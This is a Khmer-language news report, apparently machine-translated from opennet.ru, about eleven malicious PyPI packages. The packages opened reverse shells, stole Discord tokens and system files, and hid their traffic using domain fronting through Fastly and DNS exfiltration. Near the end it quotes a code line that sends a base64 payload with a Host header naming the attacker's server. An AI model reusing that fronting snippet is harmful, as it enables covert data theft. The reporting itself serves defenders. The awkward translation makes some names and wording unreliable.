បណ្ណាល័យព្យាបាទត្រូវបានកំណត់អត្តសញ្ញាណនៅក្នុងកាតាឡុក PyPI ដែលប្រើ PyPI CDN ដើម្បីលាក់បណ្តាញទំនាក់ទំនង

នៅក្នុងថត PyPI (Python Package Index) កញ្ចប់ 11 ដែលមានលេខកូដព្យាបាទត្រូវបានកំណត់អត្តសញ្ញាណ។ មុនពេលបញ្ហាត្រូវបានកំណត់អត្តសញ្ញាណ កញ្ចប់ត្រូវបានទាញយកប្រហែល 38 ពាន់ដង។ កញ្ចប់ព្យាបាទដែលបានរកឃើញគឺគួរឱ្យកត់សម្គាល់សម្រាប់ការប្រើប្រាស់វិធីសាស្រ្តទំនើបរបស់ពួកគេដើម្បីលាក់បណ្តាញទំនាក់ទំនងជាមួយម៉ាស៊ីនមេរបស់អ្នកវាយប្រហារ។

• កញ្ចប់សំខាន់ (6305 ទាញយក), កញ្ចប់សំខាន់ (12897) - បានបង្កើតការតភ្ជាប់ទៅម៉ាស៊ីនមេខាងក្រៅក្រោមការយល់ឃើញនៃការភ្ជាប់ទៅ pypi.python.org ដើម្បីផ្តល់ការចូលប្រើសែលទៅកាន់ប្រព័ន្ធ (សែលបញ្ច្រាស) និងបានប្រើកម្មវិធី trevorc2 ដើម្បីលាក់ បណ្តាញទំនាក់ទំនង។
• pptest (10001), ipboards (946) - បានប្រើ DNS ជាបណ្តាញទំនាក់ទំនងដើម្បីបញ្ជូនព័ត៌មានអំពីប្រព័ន្ធ (នៅក្នុងកញ្ចប់ទីមួយ ឈ្មោះម៉ាស៊ីន ថតការងារ អាសយដ្ឋាន IP ខាងក្នុង និងខាងក្រៅ នៅក្នុងទីពីរ - ឈ្មោះអ្នកប្រើប្រាស់ និងឈ្មោះម៉ាស៊ីន) .
• owlmoon (3285), DiscordSafety (557), yiffparty (1859) - កំណត់អត្តសញ្ញាណសញ្ញាសម្គាល់សេវាកម្ម Discord នៅក្នុងប្រព័ន្ធ ហើយផ្ញើវាទៅម៉ាស៊ីនខាងក្រៅ។
• trrfab (287) - បានផ្ញើធាតុកំណត់ឈ្មោះម៉ាស៊ីន និងមាតិកានៃ /etc/passwd, /etc/hosts, /home ទៅម៉ាស៊ីនខាងក្រៅ។
• 10Cent10 (490) - បានបង្កើតការតភ្ជាប់សែលបញ្ច្រាសជាមួយម៉ាស៊ីនខាងក្រៅ។
• yandex-yt (4183) - បង្ហាញសារអំពីប្រព័ន្ធដែលត្រូវបានសម្របសម្រួល និងបញ្ជូនបន្តទៅទំព័រដែលមានព័ត៌មានបន្ថែមអំពីសកម្មភាពបន្ថែមទៀតដែលចេញតាមរយៈ nda.ya.ru (api.ya.cc) ។

ចំណាំជាពិសេសគឺវិធីសាស្រ្តនៃការចូលប្រើម៉ាស៊ីនខាងក្រៅដែលប្រើក្នុងកញ្ចប់សំខាន់ និងកញ្ចប់សំខាន់ ដែលបានប្រើបណ្តាញចែកចាយមាតិកាលឿនដែលប្រើក្នុងថត PyPI ដើម្បីលាក់សកម្មភាពរបស់ពួកគេ។ តាមពិតសំណើត្រូវបានផ្ញើទៅកាន់ម៉ាស៊ីនមេ pypi.python.org (រួមទាំងការបញ្ជាក់ឈ្មោះ python.org ក្នុង SNI នៅខាងក្នុងសំណើ HTTPS) ប៉ុន្តែបឋមកថា HTTP “Host” រួមបញ្ចូលឈ្មោះរបស់ម៉ាស៊ីនមេដែលគ្រប់គ្រងដោយអ្នកវាយប្រហារ (sec. forward.io. global.prod.fastly.net) ។ បណ្តាញចែកចាយមាតិកាបានផ្ញើសំណើស្រដៀងគ្នាទៅម៉ាស៊ីនមេវាយប្រហារ ដោយប្រើប៉ារ៉ាម៉ែត្រនៃការតភ្ជាប់ TLS ទៅ pypi.python.org នៅពេលបញ្ជូនទិន្នន័យ។

ហេដ្ឋារចនាសម្ព័ន្ធ PyPI ត្រូវបានដំណើរការដោយបណ្តាញចែកចាយមាតិកាលឿន ដែលប្រើប្រូកស៊ីថ្លាវ៉ានីសដើម្បីរក្សាទុកសំណើធម្មតា ហើយក៏ប្រើដំណើរការវិញ្ញាបនបត្រ TLS នៅកម្រិត CDN ជាជាងនៅម៉ាស៊ីនមេចុង ដើម្បីបញ្ជូនសំណើ HTTPS តាមរយៈប្រូកស៊ី។ ដោយមិនគិតពីម៉ាស៊ីនគោលដៅ សំណើត្រូវបានផ្ញើទៅប្រូកស៊ី ដែលកំណត់ម៉ាស៊ីនដែលចង់បានដោយប្រើបឋមកថា HTTP “Host” ហើយឈ្មោះដែនម៉ាស៊ីនត្រូវបានចងភ្ជាប់ទៅនឹងអាសយដ្ឋាន IP ផ្ទុកតុល្យភាព CDN ដែលជាតួយ៉ាងសម្រាប់អតិថិជន Fastly ទាំងអស់។

ម៉ាស៊ីនមេរបស់អ្នកវាយប្រហារក៏ចុះឈ្មោះជាមួយ CDN Fastly ដែលផ្តល់គម្រោងឥតគិតថ្លៃដល់មនុស្សគ្រប់គ្នា ហើយថែមទាំងអនុញ្ញាតឱ្យចុះឈ្មោះដោយអនាមិកទៀតផង។ គួរកត់សម្គាល់ថា ដើម្បីផ្ញើសំណើទៅកាន់ជនរងគ្រោះនៅពេលបង្កើត "សែលបញ្ច្រាស" គ្រោងការណ៍ក៏ត្រូវបានប្រើប្រាស់ផងដែរ ប៉ុន្តែត្រូវបានផ្តួចផ្តើមចេញពីផ្នែកម្ខាងនៃម៉ាស៊ីនរបស់អ្នកវាយប្រហារ។ ពីខាងក្រៅ អន្តរកម្មជាមួយម៉ាស៊ីនមេរបស់អ្នកវាយប្រហារមើលទៅដូចជាសម័យស្របច្បាប់ជាមួយថត PyPI ដែលបានអ៊ិនគ្រីបដោយប្រើវិញ្ញាបនបត្រ PyPI TLS ។ បច្ចេកទេសស្រដៀងគ្នានេះគេស្គាល់ថាជា "domain fronting" ពីមុនត្រូវបានគេប្រើយ៉ាងសកម្មដើម្បីលាក់ឈ្មោះម៉ាស៊ីននៅពេលឆ្លងកាត់ការទប់ស្កាត់ ដោយប្រើសមត្ថភាពដែលបានផ្តល់នៅក្នុងបណ្តាញ CDN មួយចំនួនដើម្បីចូលប្រើ HTTPS ដោយបង្ហាញម៉ាស៊ីនប្រឌិតនៅក្នុង SNI ហើយពិតជាបញ្ជូនឈ្មោះរបស់ ម៉ាស៊ីនដែលបានស្នើសុំនៅក្នុងបឋមកថា HTTP Host នៅខាងក្នុងវគ្គ TLS ។

ដើម្បីលាក់សកម្មភាពព្យាបាទ កញ្ចប់ TrevorC2 ត្រូវបានប្រើបន្ថែមដើម្បីធ្វើអន្តរកម្មជាមួយម៉ាស៊ីនមេ ស្រដៀងនឹងការរុករកតាមគេហទំព័រធម្មតា ឧទាហរណ៍ សំណើព្យាបាទត្រូវបានផ្ញើក្រោមការក្លែងបន្លំនៃការទាញយករូបភាព “https://pypi.python.org/images/ guid=” ជាមួយនឹងការអ៊ិនកូដព័ត៌មាននៅក្នុងប៉ារ៉ាម៉ែត្រណែនាំ។ url = "https://pypi.python.org" + "/images" + "?" + "guid=" + b64_payload r = request.Request(url, headers = {'Host': "psec.forward.io.global.prod.fastly.net"})

កញ្ចប់ pptest និង ipboards បានប្រើវិធីផ្សេងគ្នាដើម្បីលាក់សកម្មភាពបណ្តាញ ដោយផ្អែកលើការអ៊ិនកូដព័ត៌មានមានប្រយោជន៍នៅក្នុងសំណួរទៅកាន់ម៉ាស៊ីនមេ DNS ។ មេរោគបញ្ជូនព័ត៌មានដោយអនុវត្តសំណើ DNS ដូចជា “nu4timjagq4fimbuhe.example.com” ដែលក្នុងនោះទិន្នន័យដែលបានបញ្ជូនទៅម៉ាស៊ីនមេត្រួតពិនិត្យត្រូវបានអ៊ិនកូដដោយប្រើទម្រង់ base64 នៅក្នុងឈ្មោះដែនរង។ អ្នកវាយប្រហារទទួលបានសារទាំងនេះដោយគ្រប់គ្រងម៉ាស៊ីនមេ DNS សម្រាប់ដែន example.com ។

ប្រភព: opennet.ru